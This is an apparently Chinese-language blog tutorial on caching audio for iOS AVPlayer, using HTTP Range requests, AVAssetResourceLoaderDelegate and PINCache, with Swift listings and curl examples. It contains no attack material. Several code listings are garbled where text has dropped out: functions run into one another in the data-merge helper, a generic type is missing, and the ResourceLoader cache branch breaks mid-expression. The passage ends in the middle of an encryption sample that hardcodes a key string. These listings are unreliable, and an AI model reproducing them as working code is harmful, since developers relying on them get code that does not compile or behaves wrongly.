Cache 備份 +- 播放音樂時先檢查本地有無 Cache 讀取,有則不再重伺服器要檔案 +- 可設 Cache 策略;上限總容量,超過時開始刪除最舊的 Cache 檔案 +- 不干涉原本 AVPlayer 播放機制 +(不然最快的方法就是自己先用 URLSession 把 mp3 載下來塞給 AVPlayer,但這樣就失去原本能播到哪載到哪的功能,使用者需要等待更長時間&更消耗流量) + +### 前導知識 \(1\)— HTTP/1\.1 Range 範圍請求、Connection Keep\-Alive +#### HTTP/1\.1 Range 範圍請求 + +首先我們要先了解在播放影片、音樂時是怎麼跟伺服器要求資料的;一般來說影片、音樂檔案都很大,不可能等到全部拿完才開始播放常見的是播到哪拿到了,只要有正在播放區段的資料就能運作。 + +要達到這個功能的方法就是透過 HTTP/1\.1 Range 只返回指定資料字節範圍的資料,例如指定 0–100 就只返回 0–100 這 100 bytes 大小的資料;透過這個方法,可以依序分段取得資料,然後再彙整再一起成完整的檔案;這個方法也能運用在檔案下載續傳功能上。 +#### 如何應用? + +我們會先使用 HEAD 去看 Response Header 了解到伺服器是否支援 Range 範圍請求、資源總長度、檔案類型: +```bash +curl -i -X HEAD http://zhgchg.li/music.mp3 +``` + +**使用 HEAD 我們能從 Response Header 得到以下資訊:** +- **Accept\-Ranges: bytes** 代表伺服器支援 Range 範圍請求 +如果沒有 Response 這個值或是是 Accept\-Ranges: none 都代表不支援 +- **Content\-Length:** 資源總長度,我們要知道總長度才能去分段要資料。 +- **Content\-Type:** 檔案類型,AVPlayer 播放時需要知道的資訊。 + + +但有時我們也會使用 GET `Range: bytes=0–1` ,意思是我要求 0–1 範圍的資料但實際我根本不 Care 0–1是什麼內容,我只是要看 Response Header 的資訊; **原生 AVPlayer 就是使用 GET 去看,所以本篇也照舊使用** 。 + + +> _但比較建議使用 HEAD 去看,一方法比較正確,另一方面萬一伺服器不支援 Range 功能;用 GET 去摸就會變強迫下載完整檔案。_ + + + + +```bash +curl -i -X GET http://zhgchg.li/music.mp3 -H "Range: bytes=0–1" +``` + +**使用 GET 我們能從 Response Header 得到以下資訊:** +- **Accept\-Ranges: bytes** 代表伺服器支援 Range 範圍請求 +如果沒有 Response 這個值或是是 Accept\-Ranges: none 都代表不支援 +- **Content\-Range: bytes 0–1/資源總長度** ,「/」後的數字及資源總長度,我們要知道總長度才能去分段要資料。 +- **Content\-Type:** 檔案類型,AVPlayer 播放時需要知道的資訊。 + + + +![](/assets/6ce488898003/1*IP55kaFB3NES3QWZ7Mf-aw.jpeg) + + +**知道伺服器支援 Range 範圍請求後,就能分段發起範圍請求:** +```bash +curl -i -X GET http://zhgchg.li/music.mp3 -H "Range: bytes=0–100" +``` + +**伺服器會返回 206 Partial Content:** +``` +Content-Range: bytes 0-100/總長度 +Content-Length: 100 +... +(binary content) +``` + +這時我們就得到 Range 0–100 的 Data,可再繼續發新請求拿 Range 100–200\. \.200–300…到結束。 + +如果拿的 Range 超過資源總長度會返回 416 Range Not Satisfiable。 + +另外,想拿完整檔案資料除了可以請求 Range 0\-總長度,也可以使用 0\- 方式即可: +```bash +curl -i -X GET http://zhgchg.li/music.mp3 -H "Range: bytes=0–" +``` + +其他還可以同個請求要求多個 Range 資料及下條件式子,但我們用不到,詳情可 [參考這](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Range_requests){:target="_blank"} 。 +#### Connection Keep\-Alive + +http 1\.1 預設是開啟狀態, **此特性能實時取得已下載的資料** ,例如檔案 5 mb,能 16 kb、16 kb、16 kb… 的取得,不用等到 5mb 都好才給你。 +``` +Connection: Keey-Alive +``` +#### **_如果發現伺服器不支援 Range、_** Keep\-Alive **_?_** + + +> _那也不用搞這麼多了,直接自己用 URLSession 下載完 mp3 檔案塞給播放器就好…\.但這不是我們要的結果,可以請後端幫忙修改伺服器設定。_ + + + + +### 前導知識 \(2\) — AVPlayer 原生是如何處理 AVURLAsset 資源? + + +![](/assets/6ce488898003/1*iLE51pGNDl_5Jwp8cTM6HQ.jpeg) + + +當我們使用 AVURLAsset init with URL 資源並賦予給 AVPlayer/AVQueuePlayer 開始播放之後,同上所述,首先會用 GET Range 0–1 去取得是否支援 Range 範圍請求、資源總長度、檔案類型這三個資訊。 + +有了檔案資訊後,會再發起第二次請求,請求從 0\-總長度 的資料。 + + +> _⚠️ **AVPlayer 會請求從 0\-總長度 的資料,並透過實時取得已下載的資料特性 \(** 16 kb、16 kb、16 kb…\) **取得到他覺得資料足夠後,會發起 Cancel 取消這個網路請求** (所以實際也不會拿完,除非檔案太小)。_ + + +> _繼續播放後才會透過 Range 往後請求資料。_ + + +> _(這部分跟我之前想的不一樣,我以為會是0–100、100–200\. \.這樣請求)_ + + + + + +**AVPlayer 請求範例:** +``` +1. GET Range 0-1 => Response: 總長度 150000 / public.mp3 / true +2. GET 0-150000... +3. 16 kb receive +4. 16 kb receive... +5. cancel() // current offset is 700 +6. 繼續播放 +7. GET 700-150000... +8. 16 kb receive +9. 16 kb receive... +10. cancel() // current offset is 1500 +11. 繼續播放 +12. GET 1500-150000... +13. 16 kb receive +14. 16 kb receive... +16. If seek to...5000 +17. cancel(12.) // current offset is 2000 +18. GET 5000-150000... +19. 16 kb receive +20. 16 kb receive... +... +``` + + +> _⚠️ **iOS ≤12 的情況下,會先發幾個較短的請求試著摸摸看(?然後才會發要求到總長度的請求; iOS ≥ 13 則會直接發要求到總長度的請求。**_ + + + + + +還有個題外的坑,就是在觀察怎麼拿資源的時候,我使用了 [mitmproxy](../46410aaada00/) 工具嗅探,結果發現它顯示有錯,會等到 response 全部回來才會顯示,而不是顯示分段、使用持久連接接續下載;害我嚇了一大跳!以為 iOS 很笨居然每次都要整個檔案回來!下次要用工具時要有保持一點懷疑 Orz +#### Cancel 發起的時機 +1. 前面說到的第二次請求,請求從 0 開始 到總長度的資源,有足夠 Data 後會發起 Cancel 取消請求。 +2. Seek 時會先發起 Cancel 取消先前的請求。 + + + +> _⚠️ 在 AVQueuePlayer 中切換到下一個資源、AVPlayer 更換播放資源時並不會發起 Cancel 取消前一首的請求。_ + + + + +#### AVQueue Pre\-buffering + +其實也是同樣呼叫 Resource Loader 處理,只是他要求的資料範圍會比較小。 +### 實現 + +有了以上前導知識後我們來看實現 AVPlayer 本地 Cache 功能的原理方式。 + +就是之前有提到的 `AVAssetResourceLoaderDelegate` ,這個接口讓我們能 **自行實踐 Resource Loader** 給 Asset 用。 + +Resource Loader 實際就是個打工仔,播放器是要檔案資訊還是檔案資料,範圍哪裡都哪裡都是他告訴我們,我們去做就是。 + + +> _看到有範例是一個 **Resource Loader 服務所有 AVURLAsset** ,我覺得是錯的,應該要一個 Resource Loader 服務一個 AVURLAsset,跟著 AVURLAsset 的生命週期,他本來就屬於 AVURLAsset。_ + + + + + +> _一個 Resource Loader 服務所有 AVURLAsset 在 AVQueuePlayer 上會變得非常複雜且難以管理。_ + + + + +#### 進入自訂的 Resource Loader 的時機點 + +要注意的是不是實踐了自己的 Resource Loader 他就會理你,只有當系統無法辨識處理這個資源的時候,才會走你的 Resource Loader。 + +所以我們在將 URL 資源給予 AVURLAsset 之前要先將 Scheme 換成我們自訂的 Scheme,不能是 http/https… 這些系統能處理的 Scheme。 +``` +http://zhgchg.li/music.mp3 => cacheable://zhgchg.li/music.mp3 +``` +#### `AVAssetResourceLoaderDelegate` + +**只有兩個方法需要實現:** +- func resourceLoader\( \_ resourceLoader: AVAssetResourceLoader, shouldWaitForLoadingOfRequestedResource **loadingRequest** : AVAssetResourceLoadingRequest\) \-> Bool : + + +此方法問我們能不能處理此資源,return true 能,return false 我們也不處理(unsupported url)。 + +我們能從 `loadingRequest` 取出要請求什麼(第一次請求檔案資訊還是請求資料,請求資料的話 Range 是多少到多少);知道請求後我們自行發起請求去拿資料, **在這我們就能決定要發起 URLSession 還是從本地返回 Data** 。 + +另外也能在此做 Data 加解密操作,保護原始資料。 +- func resourceLoader\( \_ resourceLoader: AVAssetResourceLoader, didCancel **loadingRequest** : AVAssetResourceLoadingRequest\) : + + +前述說到的 **Cancel 發起時機** 發起 Cancel 時… + +我們可以在這去取消正在請求的 URLSession。 + + +![](/assets/6ce488898003/1*widvJqzE-HtG32B-6ZiFhw.jpeg) + +#### 本地 Cache 實現方式 + +Cache 的部分我直接使用 [PINCache](https://github.com/pinterest/PINCache){:target="_blank"} ,將 Cache 工作交由他處理,免去我們要處理 Cache 讀寫 DeadLock、清除 Cache LRU 策略 實作上的問題。 + + +> **_️️⚠️️️️️️️️️️️OOM警告!_** + + +> _因為這邊是針對音樂做 Cache 檔案大小頂多 10 MB 上下,所以才能使用 PINCache 作為本地 Cache 工具;如果是要服務影片就無法使用此方法(可能一次要載入好幾 GB 的資料到記憶體)_ + + + + + + +有這部分需求可參考大大的做法,用 FileHandle seek read/write 的特性進行處理。 +### 開工! + +不囉唆,先上完整專案: + + +[![](https://opengraph.githubassets.com/b43d0ddf4687cf5a04d6bbc68e4bfd24a9d5067fe04e2e198a676aff746de403/zhgchgli0718/resourceLoaderDemo)](https://github.com/zhgchgli0718/resourceLoaderDemo){:target="_blank"} + +#### AssetData + +本地 Cache 資料物件映射實現 NSCoding,因 PINCache 是依賴 archivedData 方法 encode/decode。 +```swift +import Foundation +import CryptoKit + +class AssetDataContentInformation: NSObject, NSCoding { + @objc var contentLength: Int64 = 0 + @objc var contentType: String = "" + @objc var isByteRangeAccessSupported: Bool = false + + func encode(with coder: NSCoder) { + coder.encode(self.contentLength, forKey: #keyPath(AssetDataContentInformation.contentLength)) + coder.encode(self.contentType, forKey: #keyPath(AssetDataContentInformation.contentType)) + coder.encode(self.isByteRangeAccessSupported, forKey: #keyPath(AssetDataContentInformation.isByteRangeAccessSupported)) + } + + override init() { + super.init() + } + + required init?(coder: NSCoder) { + super.init() + self.contentLength = coder.decodeInt64(forKey: #keyPath(AssetDataContentInformation.contentLength)) + self.contentType = coder.decodeObject(forKey: #keyPath(AssetDataContentInformation.contentType)) as? String ?? "" + self.isByteRangeAccessSupported = coder.decodeObject(forKey: #keyPath(AssetDataContentInformation.isByteRangeAccessSupported)) as? Bool ?? false + } +} + +class AssetData: NSObject, NSCoding { + @objc var contentInformation: AssetDataContentInformation = AssetDataContentInformation() + @objc var mediaData: Data = Data() + + override init() { + super.init() + } + + func encode(with coder: NSCoder) { + coder.encode(self.contentInformation, forKey: #keyPath(AssetData.contentInformation)) + coder.encode(self.mediaData, forKey: #keyPath(AssetData.mediaData)) + } + + required init?(coder: NSCoder) { + super.init() + self.contentInformation = coder.decodeObject(forKey: #keyPath(AssetData.contentInformation)) as? AssetDataContentInformation ?? AssetDataContentInformation() + self.mediaData = coder.decodeObject(forKey: #keyPath(AssetData.mediaData)) as? Data ?? Data() + } +} +``` + +`AssetData` **存放:** +- `contentInformation` : AssetDataContentInformation +`AssetDataContentInformation` : +存放 是否支援 Range 範圍請求\(isByteRangeAccessSupported\)、資源總長度\(contentLength\)、檔案類型\(contentType\) +- `mediaData` : 原始音訊 Data **(這邊檔案太大會 OOM)** + + +#### PINCacheAssetDataManager + +封裝 Data 存入、取出 PINCache 邏輯。 +```swift +import PINCache +import Foundation + +protocol AssetDataManager: NSObject { + func retrieveAssetData() -> AssetData? + func saveContentInformation(_ contentInformation: AssetDataContentInformation) + func saveDownloadedData(_ data: Data, offset: Int) + func mergeDownloadedDataIfIsContinuted(from: Data, with: Data, offset: Int) -> Data? +} + +extension AssetDataManager { + func mergeDownloadedDataIfIsContinuted(from: Data, with: Data, offset: Int) -> Data? { + if offset <= from.count && (offset + with.count) > from.count { + let start = from.count - offset + var data = from + data.append(with.subdata(in: start.. AssetData? { + guard let assetData = PINCacheAssetDataManager.Cache.object(forKey: cacheKey) as? AssetData else { + return nil + } + return assetData + } +} +``` + +這邊多抽出 Protocol 因為未來可能使用其他儲存方式替代 PINCache,所以其他程式在使用時是依賴 Protocol 而非 Class 實體。 + + +> _⚠️ `mergeDownloadedDataIfIsContinuted` **這個方法極其重要。**_ + + + + + +照線性播放只要一直 append 新 Data 到 Cache Data 中即可,但現實情況複雜得多,使用者可能播了 Range 0~100,直接 Seek 到 Range 200–500 播放;如何將已有的 0\-100 Data 與新的 200–500 Data 合併就是一個很大的問題。 + + +> _⚠️Data 合併有問題會出現可怕的播放鬼畜問題…\._ + + + + + +這邊的答案是, **我們不處理非連續資料** ;因為敝專案僅為音訊,檔案也就幾 MB \(≤ 10MB\) 以考量開發成本就沒做了,我只處理合併連續的資料(例如目前已有 0~100,新資料是 75~200,合併之後變0~200;如果新資料是 150~200,我則會忽略不合併處理) + + +![](/assets/6ce488898003/1*Cyfusv16pk1AtpGAjJlMMQ.jpeg) + + +如果要考慮非連續合併,除了在儲存上要使用其他方法(要有辦法辨識空缺部分);在 Request 時也要能 Query 出哪段需要發網路請求去拿、哪段是從本地拿;要考量到這情況實作會非常複雜。 + + +![圖片取自: [iOS AVPlayer 视频缓存的设计与实现](http://chuquan.me/2019/12/03/ios-avplayer-support-cache/){:target="_blank"}](/assets/6ce488898003/1*XgMZGKMb-YNCFnS9MbiZhw.png) + +圖片取自: [iOS AVPlayer 视频缓存的设计与实现](http://chuquan.me/2019/12/03/ios-avplayer-support-cache/){:target="_blank"} +#### CachingAVURLAsset + +AVURLAsset 是 weak 持有 ResourceLoader Delegate,所以這邊建議自己建立一個 AVURLAsset Class 繼承自 AVURLAsset,在內部建立、賦予、持有 ResourceLoader ,讓他跟著 AVURLAsset 的生命週期;另外也可以儲存原始 URL、CacheKey 等資訊…。 +```swift +class CachingAVURLAsset: AVURLAsset { + static let customScheme = "cacheable" + let originalURL: URL + private var _resourceLoader: ResourceLoader? + + var cacheKey: String { + return self.url.lastPathComponent + } + + static func isSchemeSupport(_ url: URL) -> Bool { + guard let components = URLComponents(url: url, resolvingAgainstBaseURL: false) else { + return false + } + + return ["http", "https"].contains(components.scheme) + } + + override init(url URL: URL, options: [String: Any]? = nil) { + self.originalURL = URL + + guard var components = URLComponents(url: URL, resolvingAgainstBaseURL: false) else { + super.init(url: URL, options: options) + return + } + + components.scheme = CachingAVURLAsset.customScheme + guard let url = components.url else { + super.init(url: URL, options: options) + return + } + + super.init(url: url, options: options) + + let resourceLoader = ResourceLoader(asset: self) + self.resourceLoader.setDelegate(resourceLoader, queue: resourceLoader.loaderQueue) + self._resourceLoader = resourceLoader + } +} +``` + +**使用:** +```swift +if CachingAVURLAsset.isSchemeSupport(url) { + let asset = CachingAVURLAsset(url: url) + let avplayer = AVPlayer(asset) + avplayer.play() +} +``` + +其中 `isSchemeSupport()` 是用來判斷 URL 是否支援掛我們的 Resource Loader(排除 file:// )。 + +`originalURL` 存放原始資源 URL。 + +`cacheKey` 存放這個資源的 Cache Key,這邊直接用檔案名稱當 Cache Key。 + +`cacheKey` 請依照現實場景做調整,如果檔案名稱未 hash 可能重複就建議先 hash 後當 key 避免碰撞;如果要 hash 整個 URL 當 key 也要注意 URL 是否會變動 \(例如有用 CDN\)。 + +Hash 可使用 md5…sha\. \.,iOS ≥ 13 可直接使用 Apple 的 [CryptoKit](https://developer.apple.com/documentation/cryptokit/){:target="_blank"} ,其他就上 Github 找吧! +#### ResourceLoaderRequest +```swift +import Foundation +import CoreServices + +protocol ResourceLoaderRequestDelegate: AnyObject { + func dataRequestDidReceive(_ resourceLoaderRequest: ResourceLoaderRequest, _ data: Data) + func dataRequestDidComplete(_ resourceLoaderRequest: ResourceLoaderRequest, _ error: Error?, _ downloadedData: Data) + func contentInformationDidComplete(_ resourceLoaderRequest: ResourceLoaderRequest, _ result: Result) +} + +class ResourceLoaderRequest: NSObject, URLSessionDataDelegate { + struct RequestRange { + var start: Int64 + var end: RequestRangeEnd + + enum RequestRangeEnd { + case requestTo(Int64) + case requestToEnd + } + } + + enum RequestType { + case contentInformation + case dataRequest + } + + struct ResponseUnExpectedError: Error { } + + private let loaderQueue: DispatchQueue + + let originalURL: URL + let type: RequestType + + private var session: URLSession? + private var dataTask: URLSessionDataTask? + private var assetDataManager: AssetDataManager? + + private(set) var requestRange: RequestRange? + private(set) var response: URLResponse? + private(set) var downloadedData: Data = Data() + + private(set) var isCancelled: Bool = false { + didSet { + if isCancelled { + self.dataTask?.cancel() + self.session?.invalidateAndCancel() + } + } + } + private(set) var isFinished: Bool = false { + didSet { + if isFinished { + self.session?.finishTasksAndInvalidate() + } + } + } + + weak var delegate: ResourceLoaderRequestDelegate? + + init(originalURL: URL, type: RequestType, loaderQueue: DispatchQueue, assetDataManager: AssetDataManager?) { + self.originalURL = originalURL + self.type = type + self.loaderQueue = loaderQueue + self.assetDataManager = assetDataManager + super.init() + } + + func start(requestRange: RequestRange) { + guard isCancelled == false, isFinished == false else { + return + } + + self.loaderQueue.async { [weak self] in + guard let self = self else { + return + } + + var request = URLRequest(url: self.originalURL) + self.requestRange = requestRange + let start = String(requestRange.start) + let end: String + switch requestRange.end { + case .requestTo(let rangeEnd): + end = String(rangeEnd) + case .requestToEnd: + end = "" + } + + let rangeHeader = "bytes=\(start)-\(end)" + request.setValue(rangeHeader, forHTTPHeaderField: "Range") + + let session = URLSession(configuration: .default, delegate: self, delegateQueue: nil) + self.session = session + let dataTask = session.dataTask(with: request) + self.dataTask = dataTask + dataTask.resume() + } + } + + func cancel() { + self.isCancelled = true + } + + func urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive data: Data) { + guard self.type == .dataRequest else { + return + } + + self.loaderQueue.async { + self.delegate?.dataRequestDidReceive(self, data) + self.downloadedData.append(data) + } + } + + func urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive response: URLResponse, completionHandler: @escaping (URLSession.ResponseDisposition) -> Void) { + self.response = response + completionHandler(.allow) + } + + func urlSession(_ session: URLSession, task: URLSessionTask, didCompleteWithError error: Error?) { + self.isFinished = true + self.loaderQueue.async { + if self.type == .contentInformation { + guard error == nil, + let response = self.response as? HTTPURLResponse else { + let responseError = error ?? ResponseUnExpectedError() + self.delegate?.contentInformationDidComplete(self, .failure(responseError)) + return + } + + let contentInformation = AssetDataContentInformation() + + if let rangeString = response.allHeaderFields["Content-Range"] as? String, + let bytesString = rangeString.split(separator: "/").map({String($0)}).last, + let bytes = Int64(bytesString) { + contentInformation.contentLength = bytes + } + + if let mimeType = response.mimeType, + let contentType = UTTypeCreatePreferredIdentifierForTag(kUTTagClassMIMEType, mimeType as CFString, nil)?.takeRetainedValue() { + contentInformation.contentType = contentType as String + } + + if let value = response.allHeaderFields["Accept-Ranges"] as? String, + value == "bytes" { + contentInformation.isByteRangeAccessSupported = true + } else { + contentInformation.isByteRangeAccessSupported = false + } + + self.assetDataManager?.saveContentInformation(contentInformation) + self.delegate?.contentInformationDidComplete(self, .success(contentInformation)) + } else { + if let offset = self.requestRange?.start, self.downloadedData.count > 0 { + self.assetDataManager?.saveDownloadedData(self.downloadedData, offset: Int(offset)) + } + self.delegate?.dataRequestDidComplete(self, error, self.downloadedData) + } + } + } +} +``` + +針對 Remote Request 的封裝,主要是服務 ResourceLoader 發起的資料請求。 + +`RequestType` :用來區分此 Request 是 第一次請求檔案資訊\(contentInformation\)、還是請求資料\(dataRequest\) + +`RequestRange` :請求 Range 範圍,end 可指定到哪\(requestTo\(Int64\) \)或全部\(requestToEnd\)。 + +檔案資訊可由: +```less +func urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive response: URLResponse, completionHandler: @escaping (URLSession.ResponseDisposition) -> Void) +``` + +中取得 Response Header,另外要注意如果要改 HEAD 去摸,不會進這個要用其他方法接。 +- `isByteRangeAccessSupported` :看 Response Header 中的 **Accept\-Ranges == bytes** +- `contentType` :播放器要的檔案類型資訊,格式是統一類識別符,不是 audio/mpeg ,而是寫作 public\.mp3 +- `contentLength` :看 Response Header 中的 **Content\-Range** :bytes 0–1/ **資源總長度** + + + +> _⚠️這邊要注意伺服器給的格式大小寫,不一定是寫作 Accept\-Ranges/Content\-Range;有的伺服器的格式是小寫 accept\-ranges、Accept\-ranges…_ + + + + + +**補充:如果要考量大小寫可以寫 HTTPURLResponse Extension** +```swift +import CoreServices + +extension HTTPURLResponse { + func parseContentLengthFromContentRange() -> Int64? { + let contentRangeKeys: [String] = [ + "Content-Range", + "content-range", + "Content-range", + "content-Range" + ] + + var rangeString: String? + for key in contentRangeKeys { + if let value = self.allHeaderFields[key] as? String { + rangeString = value + break + } + } + + guard let rangeString = rangeString, + let contentLengthString = rangeString.split(separator: "/").map({String($0)}).last, + let contentLength = Int64(contentLengthString) else { + return nil + } + + return contentLength + } + + func parseAcceptRanges() -> Bool? { + let contentRangeKeys: [String] = [ + "Accept-Ranges", + "accept-ranges", + "Accept-ranges", + "accept-Ranges" + ] + + var rangeString: String? + for key in contentRangeKeys { + if let value = self.allHeaderFields[key] as? String { + rangeString = value + break + } + } + + guard let rangeString = rangeString else { + return nil + } + + return rangeString == "bytes" || rangeString == "Bytes" + } + + func mimeTypeUTI() -> String? { + guard let mimeType = self.mimeType, + let contentType = UTTypeCreatePreferredIdentifierForTag(kUTTagClassMIMEType, mimeType as CFString, nil)?.takeRetainedValue() else { + return nil + } + + return contentType as String + } +} +``` + +使用: +- contentLength = response\.parseContentLengthFromContentRange\( \) +- isByteRangeAccessSupported = response\.parseAcceptRanges\( \) +- contentType = response\.mimeTypeUTI\( \) + +```swift +func urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive data: Data) +``` + +同前導知識所述,會實時取得已下載的資料,所以這個方法會一直進,片段片段的拿到 Data;我們將他 append 進 `downloadedData` 存放。 +```swift +func urlSession(_ session: URLSession, task: URLSessionTask, didCompleteWithError error: Error?) +``` + +任務取消或結束時都會進這個方法,在這將已下載的資料保存下來。 + +如前導知識中提到的 Cancel 機制,因播放器在拿到足夠資料後就會發起 Cancel,Cancel Request;所以進到這個方法時實際會是 `error = NSURLErrorCancelled` ,因此不管 error 我們有拿到資料都會嘗試存下來。 + + +> _⚠️ 因 URLSession 會用並行方式出去請求資料,所以請保持操作都在DispatchQueue裡,避免資料錯亂\(資料錯亂一樣會出現可怕的播放鬼畜\)。_ + + + + + +> _️️⚠️URLSession 沒有呼叫 `finishTasksAndInvalidate` 或 `invalidateAndCancel` 兩個方法都會強持有物件導致 Memory Leak;所以不管是取消或是完成我們都要呼叫,這樣才能在任務結束釋放 Request。_ + + + + + +> _️️⚠️️️️️️️️️️️如果怕 `downloadedData` OOM,可以在 didReceive Data 中就存入本地。_ + + + + +#### ResourceLoader +```swift +import AVFoundation +import Foundation + +class ResourceLoader: NSObject { + + let loaderQueue = DispatchQueue(label: "li.zhgchg.resourceLoader.queue") + + private var requests: [AVAssetResourceLoadingRequest: ResourceLoaderRequest] = [:] + private let cacheKey: String + private let originalURL: URL + + init(asset: CachingAVURLAsset) { + self.cacheKey = asset.cacheKey + self.originalURL = asset.originalURL + super.init() + } + + deinit { + self.requests.forEach { (request) in + request.value.cancel() + } + } +} + +extension ResourceLoader: AVAssetResourceLoaderDelegate { + func resourceLoader(_ resourceLoader: AVAssetResourceLoader, shouldWaitForLoadingOfRequestedResource loadingRequest: AVAssetResourceLoadingRequest) -> Bool { + + let type = ResourceLoader.resourceLoaderRequestType(loadingRequest) + let assetDataManager = PINCacheAssetDataManager(cacheKey: self.cacheKey) + + if let assetData = assetDataManager.retrieveAssetData() { + if type == .contentInformation { + loadingRequest.contentInformationRequest?.contentLength = assetData.contentInformation.contentLength + loadingRequest.contentInformationRequest?.contentType = assetData.contentInformation.contentType + loadingRequest.contentInformationRequest?.isByteRangeAccessSupported = assetData.contentInformation.isByteRangeAccessSupported + loadingRequest.finishLoading() + return true + } else { + let range = ResourceLoader.resourceLoaderRequestRange(type, loadingRequest) + if assetData.mediaData.count > 0 { + let end: Int64 + switch range.end { + case .requestTo(let rangeEnd): + end = rangeEnd + case .requestToEnd: + end = assetData.contentInformation.contentLength + } + + if assetData.mediaData.count >= end { + let subData = assetData.mediaData.subdata(in: Int(range.start).. end) ? Int((end)) : (assetData.mediaData.count) + let subData = assetData.mediaData.subdata(in: Int(range.start)..) { + guard let loadingRequest = self.requests.first(where: { $0.value == resourceLoaderRequest })?.key else { + return + } + + switch result { + case .success(let contentInformation): + loadingRequest.contentInformationRequest?.contentType = contentInformation.contentType + loadingRequest.contentInformationRequest?.contentLength = contentInformation.contentLength + loadingRequest.contentInformationRequest?.isByteRangeAccessSupported = contentInformation.isByteRangeAccessSupported + loadingRequest.finishLoading() + case .failure(let error): + loadingRequest.finishLoading(with: error) + } + } + + func dataRequestDidReceive(_ resourceLoaderRequest: ResourceLoaderRequest, _ data: Data) { + guard let loadingRequest = self.requests.first(where: { $0.value == resourceLoaderRequest })?.key else { + return + } + + loadingRequest.dataRequest?.respond(with: data) + } + + func dataRequestDidComplete(_ resourceLoaderRequest: ResourceLoaderRequest, _ error: Error?, _ downloadedData: Data) { + guard let loadingRequest = self.requests.first(where: { $0.value == resourceLoaderRequest })?.key else { + return + } + + loadingRequest.finishLoading(with: error) + requests.removeValue(forKey: loadingRequest) + } +} + +extension ResourceLoader { + static func resourceLoaderRequestType(_ loadingRequest: AVAssetResourceLoadingRequest) -> ResourceLoaderRequest.RequestType { + if let _ = loadingRequest.contentInformationRequest { + return .contentInformation + } else { + return .dataRequest + } + } + + static func resourceLoaderRequestRange(_ type: ResourceLoaderRequest.RequestType, _ loadingRequest: AVAssetResourceLoadingRequest) -> ResourceLoaderRequest.RequestRange { + if type == .contentInformation { + return ResourceLoaderRequest.RequestRange(start: 0, end: .requestTo(1)) + } else { + if loadingRequest.dataRequest?.requestsAllDataToEndOfResource == true { + let lowerBound = loadingRequest.dataRequest?.currentOffset ?? 0 + return ResourceLoaderRequest.RequestRange(start: lowerBound, end: .requestToEnd) + } else { + let lowerBound = loadingRequest.dataRequest?.currentOffset ?? 0 + let length = Int64(loadingRequest.dataRequest?.requestedLength ?? 1) + let upperBound = lowerBound + length + return ResourceLoaderRequest.RequestRange(start: lowerBound, end: .requestTo(upperBound)) + } + } + } +} +``` + +`loadingRequest.contentInformationRequest` \!= nil 則代表是第一次請求,播放器要求先給檔案資訊。 + +請求檔案資訊時我們需要賦予這三項資訊: +- `loadingRequest.contentInformationRequest?.isByteRangeAccessSupported` :是否支援 Range 拿 Data +- `loadingRequest.contentInformationRequest?.contentType` :統一類識別符 +- `loadingRequest.contentInformationRequest?.contentLength` :檔案總長度 Int64 + + +`loadingRequest.dataRequest?.requestedOffset` 可取得要求 Range 的起始 offset。 + +`loadingRequest.dataRequest?.requestedLength` 可取得要求 Range 的長度。 + +`loadingRequest.dataRequest?.requestsAllDataToEndOfResource` == true 則不管要求 Range 的長度,直接拿到底。 + +`loadingRequest.dataRequest?.respond(with: Data)` 返回已載入的 Data 給播放器。 + +`loadingRequest.dataRequest?.currentOffset` 可取得當前 data offset, `dataRequest?.respond(with: Data)` 後 `currentOffset` 會跟著推移。 + +`loadingRequest.finishLoading()` 資料都載完了,告知播放器。 +```swift +func resourceLoader(_ resourceLoader: AVAssetResourceLoader, shouldWaitForLoadingOfRequestedResource loadingRequest: AVAssetResourceLoadingRequest) -> Bool +``` + +播放器請求資料,我們先看本地 Cache 有無資料,有則返回;若只有部分資料則一樣返回部分,例如我本地有 0–100 ,播放器要求 0–200,則先返回 0–100。 + +若沒有本地 Cache、返回的資料不夠,則會發起 ResourceLoaderRequest 請求從網路拿資料。 +```swift +func resourceLoader(_ resourceLoader: AVAssetResourceLoader, didCancel loadingRequest: AVAssetResourceLoadingRequest) +``` + +播放器取消請求,取消 ResourceLoaderRequest。 + + +> _你可能有發現_ `resourceLoaderRequestRange` _的 offset 是看 `currentOffset` ,因為我們會先從本地 `dataRequest?.respond(with: Data)` 已下載 Data;所以直接看推移後的 offset 即可。_ + + + + +```swift +func private var requests: [AVAssetResourceLoadingRequest: ResourceLoaderRequest] = [:] +``` + + +> _⚠️ requests 有的範例是只用 `currentRequest: ResourceLoaderRequest` 來存放,這會有個問題,因為可能當前的 request 正在拿取,使用者又 seek 這時會取消舊的發起新的;但因不一定會照順序發生,可能先走發新請求再走取消;所以用 Dictionary 去存取操作還是比較安全!_ + + + + + +> _⚠️讓所有操作都在同個 DispatchQueue 防止出現資料鬼畜。_ + + + + + +**deinit 時取消所有還在請求的 requests** +Resource Loader Deinit 即代表 AVURLAsset Deinit,代表播放器已經不需要這個資源了;所以我們可以 Cancel 還在取資料的 Request,已經載的一樣會寫入 Cache。 +### 補充及鳴謝 + +感謝 [Lex 汤](https://medium.com/u/2d01a2439753){:target="_blank"} 大大指點。 + +感謝 [外孫女](https://medium.com/u/aab116fd9d4d){:target="_blank"} 提供開發上的意見及支持。 +#### 本篇只針對音樂小檔 + +影片大檔案可能會在 downloadedData、AssetData/PINCacheAssetDataManager 發生 Out Of Memory 問題。 + +同前述,如果要解決這個問題請使用 fileHandler seek read/wirte 去操作本地 Cache 讀取寫入(取代AssetData/PINCacheAssetDataManager);或找看看 Github 有沒有大 data write/read to file 的專案可用。 +#### AVQueuePlayer 切換播放項目時取消正在下載的項目 + +同前導知識中所述,在更換播放目標時是不會發起 Cancel 的;如果是 AVPlayer 會走 AVURLAsset Deinit 所以下載也會中斷;但 AVQueuePlayer 不會,因為都還在 Queue 裡,只是播放目標換到下一首而已。 + +這邊唯一做法就只能接收變換播放目標通知,然後在收到通知後取消上一手的 AVURLAsset loading。 +```swift +asset.cancelLoading() +``` +#### 音訊資料加解密 + +音訊加解密可在 ResourceLoaderRequest 中拿到 Data 進行、還有儲存時能在 AssetData 的 encode/decode 對存在本地的 Data進行加解密。 + +**CryptoKit SHA 使用範本:** +```swift +class AssetData: NSObject, NSCoding { + static let encryptionKeyString = "encryptionKeyExzhgchgli" + ... + func encode(with coder: NSCoder) { + coder.encode(self.contentInformation, forKey: #keyPath(AssetData.contentInformation)) + + if #available(iOS 13.0, *), + let encryptionData = try? 